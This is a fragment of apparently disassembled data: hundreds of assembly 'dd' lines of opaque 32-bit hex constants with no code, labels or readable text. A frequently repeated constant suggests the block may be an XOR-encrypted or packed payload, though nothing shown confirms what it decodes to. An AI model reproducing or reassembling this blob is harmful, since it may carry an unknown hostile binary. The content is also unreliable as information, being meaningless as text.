		dd 19C01A1Ah, 6071ECB8h, 0FD35D9E4h, 0EBB71F81h, 300B4F34h
		dd 0F4C0E28h, 0BDE2C555h, 0FD35D8B2h, 0D3200F94h, 3E845D01h
		dd 1F704313h, 7A1A7B55h, 59A03C81h, 0D2C6CB48h,	3EF50995h
		dd 5CC200Ah, 0E5CACED0h, 0ABF44040h, 4DAC5E79h,	0F447EB6Ch
		dd 6E75CAF0h, 0FE1C51F8h, 0A4D2CF3h, 8C9E24D3h,	0D8ABC02Bh
		dd 166B3F6Bh, 8162415Eh, 4F593E79h, 0A20E53EBh,	0B97C9FE1h
		dd 70D76A52h, 13CD461Fh, 0FFD8DF2Eh, 0D6FE71DDh, 866F7ACBh
		dd 0CE96A770h, 228B8F03h, 0F4B3D272h, 28748EF4h, 39EA0484h
		dd 0C10FA1ADh, 644A792Eh, 13A6F996h, 0EE04A447h, 811D58B5h
		dd 0A22AA2A7h, 0CAF4BDAh, 29D6FA01h, 9D21B128h,	9D698803h
		dd 8D08CD76h, 73BC3493h, 41B8AAFh, 0B7F89C3Fh, 7CAF9B5Ah
		dd 0D2891469h, 0E3CE2B0Bh, 0E8349D4Ch, 0B6FE9B11h, 0A59D73B7h
		dd 1B4F4B2Eh, 0A59C82BDh, 13CD4D0Bh, 6B24B655h,	8B32C54Eh
		dd 488BEFFh, 0C649FE3Fh, 0ACF7C5D0h, 8D16A98Fh,	1F831B8Ah
		dd 0E8327B55h, 4ADCCBCBh, 0E455166Fh, 684B48E2h, 0F8D3F64Ah
		dd 76C4A9D7h, 0D933D1F3h, 0A2035C7Ah, 22E935A9h, 5CD0716h
		dd 85E564D4h, 0D9C3C44h, 0CD800621h, 9F1050B4h,	5885B5A1h
		dd 0BFCA2614h, 5DCFD9EAh, 282C959h, 2DF1C555h, 6FB4F3AEh
		dd 262B4543h, 0F581569h, 0C63BDDCh, 18558880h, 0D4D66435h
		dd 0E2CA4DD8h, 866F62E6h, 0A7957870h, 61FC56C7h, 0C290C548h
		dd 38384375h, 16F33E05h, 0A1F624BAh, 0D631E086h, 109BD902h
		dd 28ABC02Ch, 1933CB76h, 0BB57ED3Dh, 0B61BAE49h, 0A720851Bh
		dd 0FEA62709h, 44DAC7A8h, 0E5826709h, 2AA5B83h,	3832C555h
		dd 13DB0D2Bh, 383BDD55h, 6DC635FFh, 0E16AC82h, 0ABA43771h
		dd 76ABAC9Eh, 0F4D6934Dh, 0F105FE7h, 1A96CC61h,	4990C7C5h
		dd 39E7029Eh, 0D30DAFA7h, 5E96DE30h, 158A8EA1h,	29985611h
		dd 0A83C1028h, 1327A37Fh, 0B8FE9A12h, 0BD832E52h, 13CD47ABh
		dd 3574FA4Ah, 491928F2h, 0B81B8088h, 81310B7Ch,	75A5341Fh
		dd 0A8F60E85h, 946B8518h, 368D2027h, 7EA3F6B1h,	786F4443h
		dd 13AF5D0Bh, 5BB4F047h, 0BC4EE2B0h, 1DA53821h,	18C01A1Bh
		dd 0F9F69DE6h, 0A580D626h, 0D2D6A4D6h, 956B0955h, 13ABB7B7h
		dd 360C555h, 5424531Ch,	37C2FC69h, 9916A821h, 1332C446h
		dd 0B8AFB3ADh, 2A81739Ch, 0A35B1EB2h, 1190C540h, 2DB70410h
		dd 0F3C7FAB7h, 55D7C661h, 5FC21474h, 2322E0DEh,	1D011DF1h
		dd 7D90C541h, 0CB544E62h, 336018BEh, 4D3FA286h,	953A059Ah
		dd 6D902546h, 178A1A84h, 0F54D2118h, 0BD0DC122h, 0AAC827C0h
		dd 0BCFB3DE8h, 0A769677Eh, 0E4F31A13h, 0C1B7C216h, 7144D97Bh
		dd 4C7BCA8Eh, 731D109Ch, 72EB26h, 187DB538h, 0BDEFE180h
		dd 4507E60Dh, 128E6475h, 0BEC280E6h, 917BD2DCh,	0F2E17AC7h
		dd 0AAFF6D10h, 96DB3D05h, 0EAE55FC4h, 5B643565h, 9E472084h
		dd 0BD1D02EEh, 3C38431Bh, 0BD724228h, 31B801FDh, 31FF8636h
		dd 8F7B2116h, 11027C7Ch, 4C8E440Dh, 0E459EE94h,	37E10E82h
		dd 8DC607E3h, 405654E6h, 0AAEA89FFh, 732E9E05h,	0AAEB5A51h
		dd 0CD88C705h, 7974FE15h, 5374F415h, 0D84D5650h, 5374F5BCh
		dd 0F5F9DF4Dh, 0EB57275Eh, 6F430364h, 89A6F525h, 68DDB8C8h
		dd 0D308F57Eh, 0E2C5434Fh, 321CA07Fh, 7904ED86h, 0BD0D28A7h
		dd 78ECFE1Bh, 2C8AC81h,	27D6CAABh, 394DDEDCh, 23C04171h
		dd 0C0EB2D30h, 622FDF6Dh, 1E07BD06h, 831D92F5h,	284BEB0Ch
		dd 25E1C8F1h, 283E3F5h,	0EE300BF0h, 128E6476h, 37F26304h
		dd 0BD1E46B2h, 7D71040Dh, 90C651C7h, 8E5263DAh,	33619769h
		dd 3BE4FFC9h, 0D9F4CABFh, 0F7CD33A8h, 466547BEh, 0BA5DFBB0h
		dd 0D4B9254Ch, 6A89CFA6h, 28FEE84Fh, 0A9E41C20h, 76C79E9Fh
		dd 464156A8h, 0F3952552h, 213FD935h, 9B949438h,	0B8A73CF7h
		dd 44734A7Bh, 2A9EA9C5h, 6463F07Dh, 0A6569B85h,	1D3438B9h
		dd 0A10A846Ch, 0F4AD431Bh, 8DC3D0D0h, 0D4CA7F66h, 0D5F7747Bh
		dd 0D19F971Eh, 0E2F66A12h, 367AF86Fh, 0C31D16E2h, 7F72ECF1h
		dd 52E4C9Ah, 52008D51h,	78D0437Bh, 787BA7AFh, 0DE118481h
		dd 0F3641F2Bh, 0CB86F414h, 65E5C2BCh, 5D1671AEh, 0EFD01DE5h
		dd 9CA7BCC6h, 0E15DD4Ah, 0BB72431Ah, 0A13EF69Bh, 16EB3D0Ch
		dd 0E6FCF562h, 24572756h, 0D26C4A72h, 0AB704380h, 83FF7D66h
		dd 0EE64205Bh, 0AB704C84h, 0E12BDCAAh, 6375C4Ch, 0BC36BDEh
		dd 0F56F62C9h, 79A60EEEh, 4F724317h, 0A13EF69Ah, 4B377AC1h
		dd 2268270Dh, 3758157h,	6C0120B0h, 61620DB4h, 2F7FD320h
		dd 318C650Ah, 0F071CBB0h, 0B09A1E76h, 46018493h, 1113149Ah
		dd 0CD1B7379h, 2F981B0Fh, 0ADE7B4EAh, 51E9438Eh, 550F7FACh
		dd 6EED1AAFh, 5FE9548Eh, 122EDC02h, 0E0B5CF6Eh,	7401D6B6h
		dd 0BB67666Bh, 0CEBA46F2h, 0F86EC588h, 0BB663098h, 0C11A4EEh
		dd 0A0D0C664h, 86EBA184h, 7FE390C3h, 0B82D0965h, 3343E242h
		dd 2925DB61h, 0A4C28C73h, 8AD55FF6h, 781DA67Fh,	0A47698h
		dd 904499BBh, 650AA987h, 5D4499BBh, 7B490051h, 82CBF39h
		dd 0BD724365h, 0E4E8C0F2h, 7E63F010h, 0B036A287h, 0EE391AA8h
		dd 0BDDFD2Eh, 0EFAB7BC6h, 6B18FD2Eh, 91D1EFFh, 0CE72FA41h
		dd 0B753F3FAh, 0F55BB863h, 0BD7243A7h, 2CBA26BDh, 59D4ACFAh
		dd 5374AE34h, 4B08735h,	0C1DD5E67h, 5CB800E1h, 5D40BA13h
		dd 71A4FB27h, 0AA338289h, 0E7AA5E05h, 0AACA611Ch, 0A2D47905h
		dd 9FC2D1F0h, 0AAC70960h, 116C79E8h, 628040h, 18F32A50h
		dd 0AA331481h, 3CA57E05h, 0A4EB2A6Dh, 0E6101693h, 0EB2F264Eh
		dd 82B7FD2Eh, 0BEB530D5h, 98FD984Ah, 6B565474h,	827C6AECh
		dd 0EBCC32BFh, 3006AFD5h, 0B7B896Eh, 8F9175C8h,	1335254Ah
		dd 343A886Ch, 0D712D4AEh, 0A8533A36h, 0F37B883Ch, 8EAA5EC8h
		dd 83DBA8DAh, 0FFFC7D7Ch, 3A8B7800h, 26B5586Dh,	0BD1BB71Fh
		dd 0BFA88D1Bh, 81A6D2F4h, 5B35A18Ah, 883D49AEh,	0EFD01A22h
		dd 61A70C6h, 0D38FC0A1h, 35B19A11h, 6A26E479h, 2F4CB67Fh
		dd 0A3849EE4h, 4151FD1Bh, 8B2C2387h, 0BFEF1666h, 90358F39h
		dd 537426D0h, 0E759EE96h, 2A35D74Eh, 7576AFDCh,	2B59DE74h
		dd 0F911C61Fh, 0D4BE841Bh, 8F28FD2Eh, 0EF40264Eh, 0DD83FD2Eh
		dd 54B3686Bh, 0E65083F8h, 2272431Bh, 0B9839C9h,	2F12FF5Fh
		dd 0AB73414Bh, 0BAD47812h, 3BBA25CDh, 606DFA50h, 0C208E215h
		dd 70921BCEh, 0F7E89239h, 91B13DA6h, 8A241347h,	6F6184B7h
		dd 0BE505D92h, 73AF57Eh, 8DDC5CE3h, 9ECC0766h, 0DC89826Ah
		dd 9FD39CDFh, 7FD0ACECh, 1E3E1DD0h, 0BDDFD2Ch, 8DC05EF4h
		dd 4BC6A566h, 0A3DF2C02h, 0B9E4C88Fh, 5A144EC3h, 0A769697Eh
		dd 0F08C1D13h, 0B4C595E2h, 88E3251Ch, 0DD72431Bh, 8AC88459h
		dd 1CFA525Fh, 76B2345h
		dd 0C4F2CBA0h, 3FB5EF1Eh, 0B8ADD0A5h, 4420A187h, 4B0A4895h
		dd 0F80DC33Eh, 59D4AE31h, 0AB0D2434h, 0A3661C35h, 7FCC5C36h
		dd 75BF178Dh, 0AA45E095h, 3B5BBB05h, 49504107h,	0A3689219h
		dd 0A18A5230h, 9BEB2BE7h, 0F0CA7760h, 176C285Dh, 234BB342h
		dd 627D6106h, 53755E2Eh, 0BD2E4C9Bh, 36615FC3h,	0B184E7FDh
		dd 4518FD1Bh, 0BD641DADh, 448872Bh, 8CB84337h, 1B52F2CEh
		dd 0B3DD896Ch, 0AE93D1F7h, 323D1DD1h, 5201480Ah, 0DC9F97E4h
		dd 8602EEF5h, 0CEB41289h, 0CD39F879h, 0A0D6B6A8h, 0FC673E5Dh
		dd 0E49EF319h, 14802CCh, 0D95EBD73h, 1BD08DA0h,	14839323h
		dd 0A4E6451Bh, 19E24EC5h, 0E87BF664h, 1942DBB9h, 0D34F8DE8h
		dd 3F254430h, 0BED4B49Bh, 98AAD2F4h, 4D3A6A17h,	0BFCE3E8Bh
		dd 0BD09B2E3h, 9808431Bh, 21F026B7h, 0BCD9D3F8h, 1557846Bh
		dd 0FF9B057h, 827C6732h, 478E4CBFh, 0DC097599h,	0C4BAFF06h
		dd 86905CE2h, 712793D9h, 0A6D7C53Bh, 0D872431Bh, 0E96CFABh
		dd 0CA283776h, 0A6D8C6B4h, 0D872431Bh, 0B696CFBCh, 0BE953777h
		dd 0A636C277h, 0CA72431Bh, 8F27FEEEh, 4AA4631Eh, 817EC530h
		dd 27A6C8Dh, 39C539h, 6F5C2D35h, 81B147C6h, 0BD195896h
		dd 7C29431Bh, 3ED06C5Bh, 8686421Dh, 759C7817h, 4BBFC202h
		dd 5BE0F73Ch, 5469DE1Bh, 0BD195895h, 960F431Bh,	0E6986677h
		dd 44CAEA17h, 6088432Ch, 89B55AE3h, 0BDDD7FDAh,	1AC4AACBh
		dd 5815BB2Bh, 0BAAD4341h, 4B65FBFAh, 3298B43Bh,	6A7E040h
		dd 0BDFB0541h, 97431DE6h, 9A62341Dh, 3245422Ah,	0F1AE0BEEh
		dd 7266CC4Ah, 7F5C4AD9h, 1F375679h, 2B0BAB16h, 3F3A00D2h
		dd 0AA385582h, 0BC576FB2h, 68018459h, 1F0A3EBEh, 0DA61139Fh
		dd 0C335C642h, 3FF459Dh, 3560C406h, 4C388214h, 0BD38FABDh
		dd 0D5149808h, 0E1BE6790h, 3D157DE4h, 7F1669E8h, 0CD695570h
		dd 0B17EB8E5h, 5635B837h, 2218D9A8h, 4D4090A2h,	5634BF31h
		dd 0D536E4D0h, 0D5052118h, 0B0AC9818h, 14BD8C1Ch, 0CEE983D6h
		dd 0A693C1EDh, 0EE5F9315h, 0C1B95309h, 1188229Ah, 8894AD1Ch
		dd 801D5469h, 865C269Bh, 6FAA15BAh, 988F5877h, 1414F17Ch
		dd 0C33DF194h, 98FA5F9Ah, 9B01D789h, 211ED9EEh,	0AF8EF067h
		dd 5B8077E5h, 6DD41E1Fh, 0C5928A41h, 0D5149E95h, 472D8618h
		dd 0D5E99D22h, 0D28F0819h, 6D149818h, 21E46509h, 0D5140BB2h
		dd 542FE418h, 0A978EFF3h, 0AFEF97CAh, 0D514928Bh, 0E97035BDh
		dd 57D07B03h, 0E054407Ch, 3B20B9F3h, 74A53102h,	0DCACB37Ch
		dd 1B23F7F3h, 93A326F0h, 0EBA326F6h, 226D6654h,	987F9BD0h
		dd 61D567FBh, 0EBA5A1F9h, 6FE826F1h, 0E9EF5DC4h, 0EBA51B81h
		dd 38AC4776h, 6FE83F40h, 0E9EECDE8h, 0EBA326F1h, 0EBA3F098h
		dd 27041CF1h, 0EB779F16h, 6B98A264h, 7CC1DD2h, 7FD0EABCh
		dd 0E9EEED30h, 91F12617h, 0EBA326EFh, 64E48951h, 0FE87B477h
		dd 0FE87E570h, 0EBA32609h, 82E4B0AFh, 0FC7C896h, 84476812h
		dd 0A518F711h, 3A392F71h, 0A83EDA4Fh, 0DCAB2385h, 132B59F3h
		dd 15A53653h, 60B727F0h, 6EA531F0h, 31D8932Dh, 37FEC266h
		dd 7ABB7555h, 99D0B6F9h, 0AB068B05h, 1D108794h,	63DB5E35h
		dd 0C4D5D755h, 8DC27CCh, 35080C78h, 0A0AF97B6h,	8AEFD697h
		dd 0C062CBD9h, 6873D699h, 60944229h, 7FE507D4h,	0DC7B18A8h
		dd 2FCA2CB1h, 0F242C1F0h, 0F56F3D92h, 0B3CCCAF8h, 0B73AB534h
		dd 86A53498h, 0A50A49FEh, 2EC1E8Bh, 86B2E3DFh, 4C702120h
		dd 0D63AF94Dh, 0AA92860Dh, 0D8C7430Dh, 11A5A30Dh, 78F7CDA7h
		dd 0C6A5BBA7h, 0A1E94812h, 0D7372D01h, 44931A3Fh, 906716BFh
		dd 5870CD5h, 56E0DB7h, 0EF750FE4h, 8EDD84A9h, 0DFE1EA8h
		dd 0F030B4D8h, 931BADABh, 0AA4E93ADh, 0FD966437h, 106D4958h
		dd 910B99CEh, 0F3EC8413h, 651254B4h, 0C7E5567Bh, 9212FF56h
		dd 8F5E6756h, 0F99148D7h, 143621B7h, 0FFBF9DE2h, 0E1DC9BB6h
		dd 27FAA7C6h, 0CC19EF6Eh, 43h dup(0CC1B4812h), 31B4812h
		dd 5F7B3E8Eh, 0CB472581h, 3 dup(0CC1B4812h), 0CC2A7E7Bh
		dd 0A0652012h, 5B4241DEh, 7358756Eh, 0D26AF62Fh, 153D607Bh
		dd 0A4783A88h, 0E74241DEh, 7358756Fh, 0D26ACBC7h, 153DDC7Bh
		dd 96C23A88h, 0D34241DEh, 7358756Fh, 0D26AC49Bh, 153F487Bh
		dd 88DC3A88h, 1F4241DEh, 7358756Dh, 0D26AC4CFh,	153FA47Bh
		dd 88333A88h, 0EB4241DEh, 7358756Eh, 0D26ACE17h, 153F507Bh
		dd 4BAD3A88h, 0F74241DDh, 7358756Fh, 0D26AC9AFh, 153D8C7Bh
		dd 4A563A88h, 0E34241DDh, 7358756Eh, 0D26AC280h, 153DF87Bh
		dd 5FB53A88h, 0AF4241DDh, 0EC58756Fh, 1723D0E4h, 95ECE98Dh
		dd 0E3B1ADD4h, 24F16080h, 9AFB394Ah, 0CFFE5999h, 77F55141h
		dd 7DA86B88h, 43E52251h, 8432679Ch, 6DFE07BEh, 5FBA802Ah
		dd 142DDF34h, 2DA600F9h, 664E9785h, 7E3B398Ch, 0A04B73FCh
		dd 1D5056Dh, 1A5ED321h,	3F6B2B8Bh, 6DFD470Bh, 7A970EDCh
		dd 0ACC621Bh, 0CAB40D43h, 0F68332B4h, 3AD8499Ch, 0CACC620Eh
		dd 0E5C6AEF8h, 48BFAA1h, 0C90E9758h, 0D4F0E902h, 5A850B45h
		dd 6DFBC4B2h, 8DE2173Bh, 6DFBCF93h, 0F4749F77h,	1D8FB1Ah
		dd 2E448DABh, 557C72D3h, 8F2F2A49h, 0AC7986Ah, 6E8D6C71h
		dd 2DE85ABCh, 0CCE5ED41h, 0E1204812h, 5E778F3Dh, 34FFE6A0h
		dd 1CC6D69h, 3B89CF23h,	0FF1EED93h, 0E3AF1634h,	82CEBDC3h
		dd 3F027190h, 0C4119CE8h, 9A4E815Dh, 3FB55C83h,	557C7203h
		dd 5545872Eh, 0F1C60BDAh, 6DFC6A6Eh, 0E9BDE11Bh, 0DB04F386h
		dd 0CC1B1D9Ch, 5D087C12h, 65E97334h, 0C44131FDh, 1742CDD6h
		dd 0BCD28A8Fh, 9CB08A2Bh, 94AE7C33h, 0E513F761h, 0D12AEB0Bh
		dd 0F3F403D2h, 0A522F185h, 79307092h, 0FD1AE08Dh, 76B84E56h
		dd 0E3B06DA1h, 5376658Bh, 0B7C471F4h, 0E819B4B5h, 8BA36496h
		dd 7DEFDC5h, 664E32B3h,	0FEE252A8h, 8672EB8Ah, 9119BADBh
		dd 0C639FFD4h, 9B42C470h, 0A04C8F7Ah, 6B1785EAh, 0B5A3AC61h
		dd 0CDCF6E1Dh, 0AB6A23A6h, 0D17285B6h, 36BD4812h, 0CF865F6Ah
		dd 0C74D12A9h, 0A00F11EEh, 64D42A2Eh, 0FA49FF81h, 65A0ED19h
		dd 4B652BE9h, 9029DF32h, 37731F6Fh, 0E0346B2Fh,	0FDCC7D4Fh
		dd 4F09A15Bh, 0C4642F5Eh, 0D67DB518h, 4F26EA42h, 0E0B82381h
		dd 9E4E96B2h, 553F803Bh, 9CDA68F6h, 5D1F213Fh, 0ABB8FBC1h
		dd 6DFC1587h, 0E50D8962h, 0F439A735h, 2768EAAAh, 3FA54C66h
		dd 0C1B07703h, 333E7415h, 0CB32F741h, 5A2F4812h, 3C0CED93h
		dd 43EF81F2h, 0A04B37B2h, 9C982658h, 7F1E63A3h,	0BD07B748h
		dd 3D0175B2h, 9A930503h, 216FD175h, 3BCC62AFh, 3D0149E1h
		dd 56979903h, 0EF23AF3Bh, 7C6740Ah, 77CEBD89h, 8F7B794Ch
		dd 3DF03077h, 1662D0DAh, 11AC91ACh, 2EF49EEDh, 0BDBB5684h
		dd 5E693731h, 511B4816h, 43905CB0h, 0E855056Ah,	7EDC58A3h
		dd 0AA9E135Ch, 0F6681524h, 0DCD23574h, 2307CDF2h, 473D553Ch
		dd 4F79DB78h, 89DF18C0h, 6DFE009Bh, 5E1EF4C6h, 0ADF09CAh
		dd 0F286DB21h, 5BD5B410h, 0A15B2858h, 0BE9C7EACh, 8D7793C0h
		dd 3E0D3C06h, 125F8FB6h, 0A04CA30Fh, 0C2F036D1h, 284136CFh
		dd 29277E24h, 0B0CA5CD1h, 8C48AAD6h, 8FBDB2F2h,	0E2AA8651h
		dd 0B20A32B4h, 843D13AAh, 71FE8FE7h, 0AC816027h, 85CC6C7Eh
		dd 0E3F268F2h, 58A7B6Ch, 0CC1B4806h, 0B40A0A72h, 5B7DEEB4h
		dd 30132B3h, 0F81CC816h, 4CCC62B6h, 5D38D282h, 0B75D1C4Bh
		dd 41CC62B6h, 6B460405h, 3D08BF6Fh, 1B6A2803h
		dd 0F6AD2247h, 0DB04C983h, 0CC1A1C0Dh, 0AB29BE12h, 0D5D8DE06h
		dd 0B40A3063h, 2D91EEB4h, 882532B3h, 5D38D283h,	1ECD811Fh
		dd 16B60824h, 0AFF6ECF2h, 6DFB2636h, 40B32E46h,	0DB011B41h
		dd 0BDE42751h, 0CBF9F617h, 0C5454812h, 699E7A34h, 0A1E9516h
		dd 0D412FA66h, 0BB94812h, 83108C01h, 98CEBDC3h,	0B72E94A7h
		dd 5C112F49h, 33386F3Ah, 79CC7D53h, 1EE0DA17h, 0A12432ADh
		dd 30DD1D89h, 0C040F703h, 0F6420AFEh, 30569FA0h, 0E6F7D19Ah
		dd 6FDC19EDh, 0C0A21257h, 95857995h, 0D384C061h, 0BCDAADD7h
		dd 0FFDF953h, 0DFD68CF9h, 8F28EA71h, 0F325BFFAh, 0DCA72E83h
		dd 418C6D10h, 60599FDEh, 3098EB3Fh, 0C3B7F03h, 2DB50A78h
		dd 0E487718Fh, 541F5F45h, 6BF225CAh, 0A04B3C4Dh, 0C63EF10Eh
		dd 0D0BC92Fh, 4CF086E7h, 0EABFB8F9h, 6DFCD40Bh,	7E5EBFE3h
		dd 266C2C84h, 95AC6372h, 925B612Bh, 0B51B481Dh,	0F6531B75h
		dd 65DD599Eh, 0B3A11263h, 0F4611611h, 6B2C29DBh, 1F0DCE48h
		dd 47438130h, 4B38DB78h, 93759DC1h, 0CEA26C0Dh,	6DFE1BCEh
		dd 7BEA8B9Ah, 0A04B784Ch, 0A903F34Dh, 921AC625h, 52CEBDC3h
		dd 18846580h, 0ACCC7D53h, 90478D23h, 0D7EC12E9h, 27CEBDC2h
		dd 357709DCh, 5CCFD0E0h, 126AF184h, 33A33A40h, 0DF925987h
		dd 1595E4BBh, 6A0584B6h, 1EE32CE1h, 734D32ADh, 9551669Ah
		dd 6DFE02ECh, 82352587h, 1CC84491h, 6DFE0D68h, 522DA9F5h
		dd 7BB55A30h, 0DAFB4838h, 9D1D92A6h, 1FBC3884h,	33A332ADh
		dd 0A3595987h, 0A013677Bh, 9ADB7D36h, 29820689h, 7E46EDC7h
		dd 0E43166A0h, 0EA75647Eh, 0EDFF4781h, 0D7D0A211h, 2051E2F6h
		dd 0D8AC6C7Eh, 3C775729h, 0E64D2BDBh, 191B481Bh, 0CB2F447h
		dd 4AC0F201h, 868571B7h, 38453575h, 5E0FDD2Fh, 8429E22Ch
		dd 6B61A5DDh, 0B0D47D21h, 0D714F65Eh, 31863028h, 6DFE00B1h
		dd 5DCCAC2Eh, 62B8FBC1h, 0D5DCF2FDh, 0B662B6Fh,	0EE0C94D2h
		dd 3666A7FFh, 16D106DFh, 6DFE0DE5h, 136E2282h, 65F301F9h
		dd 0FC82868h, 39F732ADh, 0AB2AB347h, 855F35DAh,	532F2A2Fh
		dd 0BAF02ACCh, 25B6C0F4h, 999862F5h, 22BE004Ah,	2FFF9307h
		dd 0BABE7703h, 7858C41Bh, 0C5CEB25Eh, 6DDB53B3h, 26941A49h
		dd 38317B4Ah, 79E4AED5h, 88E4832Ah, 507AD283h, 0F771D1BDh
		dd 19C5C7EDh, 2B96BAFAh, 452C32ADh, 5433118Bh, 0BCEE24C6h
		dd 2A44A8E6h, 0F21E32ADh, 50BCB90Dh, 24A070B8h,	0D69A9720h
		dd 1FC501CDh, 0D7D041FEh, 0D096E71Dh, 0A0463FDDh, 0BE24A50Ah
		dd 8A387407h, 3923380h,	63CEBD03h, 0B5801130h, 2D8D026Bh
		dd 1197215Ah, 91CAB846h, 45CC7CA6h, 527EC27Fh, 0DD1759A9h
		dd 0CD7AC554h, 0BDB3FAADh, 0BFAD86Eh, 0E0DDB702h, 0AF233B6Eh
		dd 6D86F68Ch, 35FB4EAFh, 8BDED345h, 0D80BC0B6h,	23C018E6h
		dd 0CC21B6A3h, 614D8912h, 8881457Ah, 857799B6h,	0D1B1ECFFh
		dd 78F45141h, 576A9F11h, 0DAAEA350h, 8F56487h, 0CFC3E41h
		dd 0DEC1B7F8h, 6717100h, 0B2CF32ADh, 814FC35Ch,	4930C1A0h
		dd 0EE0C9B10h, 2B48CFFFh, 0F8D3951h, 3BAA3F40h,	34F14F83h
		dd 1A10F5ECh, 0D9DA1F07h, 20B46BC1h, 3DB8FFFEh,	0A91EFB83h
		dd 54C0BD06h, 17A575B7h, 20B4920Ch, 0F18D7FFEh,	952A8D9Eh
		dd 2ED62E77h, 2B48C977h, 210799E4h, 0D391B38Ah,	0C31B4812h
		dd 0CC1ED63Bh, 0EEB1B12h, 880C6B23h, 22A1173Ch,	90AA52A6h
		dd 3E198B4Fh, 54FC4D03h, 0D5DC81A1h, 10B955BCh,	0BEB6EE0Eh
		dd 0DEE6269Eh, 12B3CEB3h, 1CD56828h, 0E563E3BAh, 6A4728DAh
		dd 318D8EA4h, 25B26232h, 2C85E089h, 2351B432h, 0FAAE682Fh
		dd 0B15370CAh, 0A8C74F97h, 0D13896FAh, 0F0BDBE0Ch, 0B1534A7Ch
		dd 49589AEDh, 0AC062E45h, 0ABA4601Bh, 5C96D4E0h, 14622961h
		dd 0AC062E0Dh, 278230DBh, 1347370Ch, 89E79B1h, 0AB9663A2h
		dd 0AD1B480Eh, 0EE6B681Dh, 5EB42646h, 4A77E5FEh, 857ABEB8h
		dd 62443380h, 0F876D6CFh, 802BE906h, 0C361A1D1h, 0AC9D651Ch
		dd 0E6BB7565h, 6DFE0476h, 590358F2h, 3C0CED93h,	1336DFF2h
		dd 0EB592B7Ch, 0D0094262h, 0A94DE06Eh, 0DFD6F133h, 3AEC95AEh
		dd 0FA149B4Ch, 490FB694h, 0BACC7CB1h, 0B56BF2C9h, 0D444CC55h
		dd 3B09CF31h, 1A119CF1h, 2579FB3Ah, 6826AAD7h, 0C70EE2CDh
		dd 6DFF12A5h, 5326EDC1h, 0EA493B89h, 9BCC7CE3h,	34ABD266h
		dd 0B3CE4D34h, 0E052C51Eh, 18B7FFFAh, 172450B8h, 8ABB988Eh
		dd 0ABB8FBCCh, 0A046F140h, 5791C7ACh, 79576699h, 88FF5C38h
		dd 0BDBBD15Ah, 0F0A2BFE9h, 0F11B4810h, 632F3CD0h, 0A178FA09h
		dd 9E7DB9C0h, 0D03D7C7Dh, 9607C537h, 0FDB19595h, 0C369ADD5h
		dd 689C651Ch, 0EFDC3E55h, 297E73A0h, 6DFE9FB9h,	5EC45426h
		dd 0AF2E1434h, 0A4C90622h, 792063A0h, 2844F71Bh, 0EE0AB267h
		dd 235DD7FFh, 0FD6BFF5h, 0C6C32ADh, 14F4573Eh, 0E6EAF46h
		dd 0C3710A8Fh, 1B6A24D6h, 8CAE2346h, 307B793Dh,	0A0503293h
		dd 0B5EFD5CAh, 1342C90Fh, 0BC752E1Dh, 6F8A179Ch, 711B4810h
		dd 0E4B0BD50h, 8F5648Ah, 1DFB3942h, 4AC0F2FBh, 78975C3h
		dd 7B326A13h, 44E82251h, 0E81BB499h, 7E5AB9D9h,	0B0FDF820h
		dd 6DFE9F3Bh, 5943D4A6h, 3C0CED93h, 0AFED87E8h,	0E79435Ch
		dd 5E4E7F93h, 4E303F81h, 0E253E404h, 0CC1B408Dh, 4883EA12h
		dd 0D1B4813h, 827BC2B7h, 6484CBC0h, 79C5A539h, 0F1D24726h
		dd 23544335h, 4DF1BE76h, 2F5BD01Ch, 6B34A703h, 5FD401E1h
		dd 0E5CA76D4h, 3355B79Eh, 77393540h, 9C2165D7h,	0A926BF4Dh
		dd 15B93192h, 2ED1D6DEh, 486832ADh, 0B57C6336h,	9ACEB253h
		dd 2A576899h, 4EF697A3h, 298903D0h, 0A19E992Ah,	50D4B12h
		dd 0F526EF06h, 0C367BCCEh, 0A1844070h, 0B20C3117h, 0F28BE4AAh
		dd 5E2B32B4h, 7C64AE69h, 0E32E94DAh, 0CC1B469Ch, 8A23689Eh
		dd 0D0EA1269h, 0EAFDAAEh, 0B7F10DFAh, 40FD4637h, 95DA4FB4h
		dd 34A33A3Eh, 0B66BFC88h, 76317752h, 66F0E9Ch, 30E5CDD5h
		dd 0CECB0D03h, 557BC2B8h, 3F5D2E62h, 6A1C0734h,	0C69E1364h
		dd 0E253EF73h, 0CC1B41FCh, 0FC855B12h, 0D1B4813h, 82430B93h
		dd 4ADFA2Ch, 36878335h,	0B872BB33h, 0A4FB5C37h,	0BDBB06F8h
		dd 0E8BF85C7h, 291B480Fh, 9BE2EF97h, 0DAAEA353h, 15F46388h
		dd 62B83A43h, 0E0BFFDFEh, 133B135Dh, 7DB0648Ch,	40E42251h
		dd 0E724E08Dh, 28F520D8h, 6DFE9901h, 5A7C5CDEh,	3C0CED93h
		dd 0AFED87E8h, 328D435Ch, 0EE0CE630h, 0DB7A69FFh, 2BCEBDC0h
		dd 0B1D54598h, 20DAADE4h, 15369801h, 0CC26AB40h, 0A6D34812h
		dd 0CC1B4396h, 0CDA4FB5Bh, 5DE24812h, 0ABB8FBC1h, 6DFE02B7h
		dd 8537D832h, 5B880A30h, 0A04D2F6Ch, 0F50F55FAh, 0CA6A2FBFh
		dd 0D1AA6598h, 84354812h, 863D9C23h, 4F055B5Eh,	61C79926h
		dd 0CC8C5D68h, 220355BAh, 9C983A50h, 0E41D62A3h, 8E2566Ah
		dd 10A9ECA5h, 86C9366h,	35CC7D58h, 5C116392h, 8A386F3Ah
		dd 0D4CC6207h, 67A9C948h, 5173B52Fh, 3745F01Ah,	0B34BCE34h
		dd 2BB8B5B3h, 0B44F9D38h, 3D4B68BDh, 0E2BF1B03h, 0DFB85802h
		dd 0CF067EA3h, 5D674812h, 0D30DE34h, 0C33DC9FDh, 30DB3A6Ah
		dd 0A8E6AF03h, 0D7D0A20Eh, 1975E6F6h, 1CB066FEh, 0BC753624h
		dd 0CF891691h, 0D11B480Eh, 0C20ADC30h, 1D89AE9h, 0FD5CD91Fh
		dd 291D92DCh, 67E7E496h, 5B518AF4h, 0A4895C74h,	0C9BC05BAh
		dd 0DEFD59F9h, 105E9840h, 6DFE9E19h, 5EA47446h,	0ABB8FBC1h
		dd 6DFE02BBh, 0A84C8426h
		dd 3B5993E2h, 367E78D1h, 0D711DD5Ah, 89F2C43h, 437097ACh
		dd 14F29B89h, 3F0DC322h, 5EEA80E5h, 8322E2F7h, 17A01630h
		dd 1F7ACA0Ch, 0BA368DFEh, 0B773A0E8h, 0C543F611h, 3C0CCE30h
		dd 4BED87E8h, 0F1BCB9FCh, 6DFC5E0Ch, 39231D1h, 0A8CC6D98h
